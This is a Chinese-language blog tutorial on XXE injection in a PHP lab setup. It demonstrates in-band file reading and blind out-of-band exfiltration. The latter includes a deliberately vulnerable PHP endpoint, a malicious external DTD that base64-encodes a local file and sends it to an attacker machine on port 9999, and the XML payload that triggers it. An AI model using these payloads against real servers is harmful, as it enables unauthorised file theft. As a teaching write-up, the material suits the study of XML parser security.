关于XXE漏洞的原理我这里不做过多的叙述

有回显的情况下读数据

按照网页的提示输入指定格式的数据,显示出来我们在xml中标记的字符串“Hello World”

尝试XML头部自定义引用,可以看到成功了,关于这个xml实体引用的原理,我推荐大家去看下xml的文档说明,这样挖洞才做到知己知彼

其实内部实体引用是几乎没有危害的,因为它能干的事情很少,真正可怕的是的外部实体引用和DTD引用,它会造成权限范围内的任意文件读取和远程代码执行。

关于外部实体引用其实和内部的原理差不多,只不过引用的外部需要用 "SYSTEM"标记,比如我在网站根目录放个记事本文件,然后去引用

可以看到里面的内容,而且路径是可控的,这是不是类似于文件包含读文件。

我在网站目录下还放了个info.php文件,我们照样去引用一下

出现报错,原因是提交后xml程序会解析文件里面的内容,然后xml标记是以尖括号开头和结尾的,php程序也是,当xml解析到尖括号时就会出错

那么解决的办法是什么呢?其实跟我们的文件包含读文件一样,可以通过编码转换的方式去读取文件。

解密后可以还原内容

没有回显的情况下读数据

其实大多情况下xml外部实体引用是没有回显结果的,那这种情况下我们怎么获取到信息呢?我们可以采用DTD引用的方法。

比如我自定义了一个xml.php程序,用于接收xml类型的数据

<?php
    libxml_disable_entity_loader (false);
    //若为true,则表示禁用外部实体
    $xmlfile = file_get_contents('php://input');
    //可以获取POST来的数据
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

不传数据或者传的数据不是xml格式的时候会报错

当传的数据是xml时则没有报错,但是却没有回显

然后尝试外部实体引用,没有报错,说明可以成功,但是没有回显,这可愁坏了人

那这里我们可以使用自定义的DTD引用,关于DTD的用法大家可以去自行百度

我在一台服务器上放了个test.dtd,内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/phpStudy/PHPTutorial/WWW/info.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.106:9999??p=%file;'>">

它的作用是,当被引用时,就通过base64编码读取指定文件,并且发送到192.168.0.106的9999端口,其中192.168.0.106是我的kali_linux,我使用nc来监听9999端口接收数据。

其中需要给xml.php发送的post数据为:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % xxe SYSTEM "http://192.168.0.102/test.dtd">
%xxe;%int;%send;]>

就只是调用test.dtd而已

当发送数据包后,会建立一个与kali的连接,把结果发给kali的9999端口:

解码即可得到信息

标签: xxe

添加新评论